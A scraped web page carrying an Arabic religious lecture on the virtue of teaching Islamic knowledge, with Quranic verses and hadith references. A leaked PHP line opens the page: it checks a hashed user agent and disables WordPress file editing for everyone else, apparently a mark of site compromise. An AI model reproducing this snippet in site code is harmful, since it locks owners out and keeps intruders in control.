if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } فضل تدريس العلم - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

فضل تدريس العلم

قال رحمه الله: (وَتَدْرِيْسِ العِلْمِ) والمراد بالعلم إذا أُطلق: العلم الشرعي الذي هو شرفٌ لصاحبه وهو أفضل ما أُنفقت فيه الأوقات وعُمرت به الأعمار واللحظات، والنصوص العظيمة واردة فيه بكثرة {قُلْ هَلْ يَسْتَوِي الَّذِينَ يَعْلَمُونَ وَالَّذِينَ لَا يَعْلَمُونَ} [الزمر: ٩] لا يستوون عند الله ولا عند خلقه، يرفع الله بهذا العلم وبهذا الكتاب أقوام، فالله يرفع أهل العلم وهم بدور الأرض وشموسها ونجومها، والناس بأمس الحاجة إليهم، ولهذا قال صلى الله عليه وسلم: «مَن سلَكَ طريقًا يلتمِسُ عِلمًا، سهَّلَ اللهُ له طريقًا إلى الجنَّةِ»[1] هذا الآن مجلسنا مجلس علم، والمدارس مجالس علم، والجامعات مجالس علم، والحلق والدورات والوسائل المتاحة اليوم من وسائل التواصل، اليوتيوب وغيره من برامج، تفتح وأنت تسمع دروس وتسمع علم، إذا احتسبته عند الله فهذا طريق موصل للعلم وموصل لجنات النعيم {إِنَّمَا يَخْشَى اللهَ مِنْ عِبَادِهِ الْعُلَمَاءُ} [فاطر: ٢٨]، {وَقُلْ رَبِّ زِدْنِي عِلْمًا} [طه:114]، ما في في الكتاب العزيز أن الله أمر نبيه أن يطلب الزيادة من غير العلم، فدل على فضله وشرفه وأنه ينبغي للعبد أن يجتهد فيه، وإذا أراد أن يعلم أن الله أراد به خيرًا فليتأمل هل هو ممن يرفع بهذا العلم رأسًا ويهتم بتحصيله ودراسته ولا يتثاقل ولا يتشاغل؟ وليس العلم فقط، الدراسة النظامية حتى إذا تخرج أخلد إلى الكسل، لا، العلم من المهد إلى اللحد، كانوا يطلبون العلم وهم في النزع الأخير ويدرسونه ويتدارسون المسائل العلمية ولا يتركونها البتة، ولهذا يجتهد طالب العلم ومعلم العلم في تحصيل العلم والتزود منه واحتساب الأجر في ذلك فيُبارك له في وقته ويزداد رصيد حسناته في كل علمٍ علّمه، ما أحد على وجه البسيطة في أي وظيفةٍ كانت بأسعد ولا أنفع من معلم العلم الشرعي؛ فإن الله وملائكته وأهل السماوات وأهل الأرض حتى الحيتان ليصلون على معلم الناس الخير[2]، هذا فضلٌ عظيمٌ دونه كل فضل، لا يمكن أن تدرك هذا الفضل في غير العلم الشرعي، أسأل الله الكريم من فضله.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2699)، وابن ماجه (225) مطولًا، والترمذي (2646)، وأحمد (8316) باختلاف يسير.

[2] الحديث بطوله أخرجه الترمذي (2685) عن أبي أمامة الباهلي رَضِيَ اللهُ عَنْهُ قال: «ذُكرَ لرسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ رجلانِ أحدُهُما عابدٌ والآخرُ عالمٌ، فقالَ عليهِ أفضلُ الصلاةِ والسَّلامِ: فضلُ العالمِ علَى العابدِ كفضلي علَى أدناكُم ثمَّ قالَ رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: إنَّ اللهَ وملائكتَهُ وأهلَ السَّماواتِ والأرضِ حتَّى النَّملةَ في جُحرِها، وحتَّى الحوتَ ليصلُّونَ علَى مُعلِّمِ النَّاسِ الخيرَ» والحديث صححه الألباني في صحيح الترمذي (2685).